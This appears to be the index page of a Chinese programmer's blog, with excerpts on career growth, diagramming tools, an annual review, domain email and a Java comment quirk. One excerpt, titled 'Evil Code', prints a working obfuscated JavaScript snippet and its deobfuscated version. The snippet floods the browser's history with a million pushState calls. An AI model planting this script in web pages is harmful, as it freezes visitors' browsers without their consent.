程序员成长之路

本文出于本人职业迷茫期。目前距离身边的各路大神有着很大的差距,但是总体水平还算勉强合格,看网上普通的教程已经没什么大的收获,又不知如何拉近和大神的距离。

所以写下此文,一边梳理思路,总结目前认为如果再给我一次机会重头再来,进步的最优解是什么,一边反思总结使用这些方法,能否让我的职业生涯的技术深度再进一步。

本文适合1-5年Java从业经验的人看。

Read more

Visual Paradigm教程-时序图、泳道图等

进大厂以后给我最大的收获之一,就是让我意识到写代码之前的设计有多么的重要——在编码之前要先进行系统设计分析,简称系分。

在系分阶段,用泳道图把要写的代码流程展示清楚,在设计阶段把疑惑都解决了,写代码的时候效率又高,BUG又少。如果在写代码写了一半才把疑问解决,往迭代分支合代码的时候过CodeReview,让其他人看糟糕的设计和愚蠢的返工,多丢脸。所以系分阶段是重中之重。

那么如何做好系分呢?肯定要画各种图啦。画图工具有很多,除了本文要说的Visual Paradigm(本文后续称之为VP)以外,还有draw.io、processon.com等网站。出于安全性的因素,不太方便把图放在上面,并且功能我觉得也不如VP强大,所以这里就来介绍一下如何使用。

Read more

成为业务专家的方法论

可能我们都想成为技术上的大牛,写出优秀的开源框架/工具造福大家。

然而实际上可能我们都深陷业务的泥潭,似乎怎么也处理不干净纷繁复杂的业务。

身为打工仔就是这样,没办法,那既然只能依赖写业务去养家糊口,那要做就得尽量做到最好。

那面对复杂的业务,应该从哪里入手呢?哪些是最重要的环节呢?

Read more

2020年度总结,2021新年展望

2020年要结束了,2021年要开始了。

刚工作的时候,写下了 《3年经验程序员应该掌握什么技能》 的OneNote笔记。当有两年工作经验的时候,看当时的标准,觉得还有那么大的差距,基本不可能完成了。结果现在四年工作经验的时候,所幸,勉强算是完成并超越了当时的目标了吧。

虽然定下目标推迟完成了,但总比没有完成强。以前看了很多大神的博客,他们都有年度总结的习惯,即然现在我也开始正式写博客了,那我也要跟一波风。

先放个最大的收获!!!!

Read more

裸辞三个月有感

一句话总结:

舒服是真的舒服,后悔是真的后悔

不是后悔歇三个月,而是这三个月玩没玩好,学更是没学,确实是浪费了,下次努力歇的更好💪

下面是完整版:

从七月底提出辞职,到8月1号开始休假,到现在也算是休了三个月了,开始准备着手准备面试了。

说实话人生中能像现在这样很惬意的,什么事情都不用考虑,真正的做想做的事的时间其实并不多。

上学的时候寒暑假要和父母勾心斗角找玩电脑的机会,还要补作业。

工作以后每个假期都是这么的短暂——我为什么没子承父业继续去当老师呢?

以后结婚生子了恐怕就更没多少这样的机会去休息了。

这三个月是真真正正没有作业、没有金钱、没有父母/对象催促的烦恼,真正想干什么就干什么的三个月——当然,现在父母和对象开始催我找工作了,于是美好的时光结束了。

Read more

Yandex的域名邮箱

  1. 注册验证码变态

根据ZKK博客的教程详细记录走一遍会碰到第一个难点。好处是不用手机就能注册,问题在于验证码极其的变态。我大概输入了几十次。才成功注册下来了一个域名邮箱

Read more

Evil Code

1
2
3
<script>
eval(function(d,f,a,c,b,e){b=function(a){return a.toString(f)};if(!"".replace(/^/,String)){for(;a--;)e[b(a)]=c[a]||b(a);c=[function(a){return e[a]}];b=function(){return"\\w+"};a=1}for(;a--;)c[a]&&(d=d.replace(new RegExp("\\b"+b(a)+"\\b","g"),c[a]));return d}("1 2=c.3('8');4.b(2,'5',{6:7(){1 a=\"\";9(1 i=0;i<d;i++){a=a+i.e();f.g(0,0,a)}}});h.j(2);",20,20," var x createElement Object id get function div for defineProperty document 1000000 toString history pushState console log".split(" "),0,{}));
</script>

混淆过后的,会疯狂写入历史数据,混淆前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
'use strict';
/** [url=home.php?mod=space&uid=26679]@Type[/url] {!Element} */
var x = document.createElement("div");
Object.defineProperty(x, "id", {
get : function() {
/** @type {string} */
var definitionLineHash = "";
/** @type {number} */
var default_favicon = 0;
for (; default_favicon < 1000000; default_favicon++) {
/** @type {string} */
definitionLineHash = definitionLineHash + default_favicon.toString();
history.pushState(0, 0, definitionLineHash);
}
}
});
console.log(x);

Java 注释中一个隐藏的坑

Java中注释的内容并不是完全无效的,当遇到一些特殊的Unicode的时候是会对Unicode转义的,这就带来了一些问题,比如:

Read more
You need to set client_id and slot_id to show this AD unit. Please set it in _config.yml.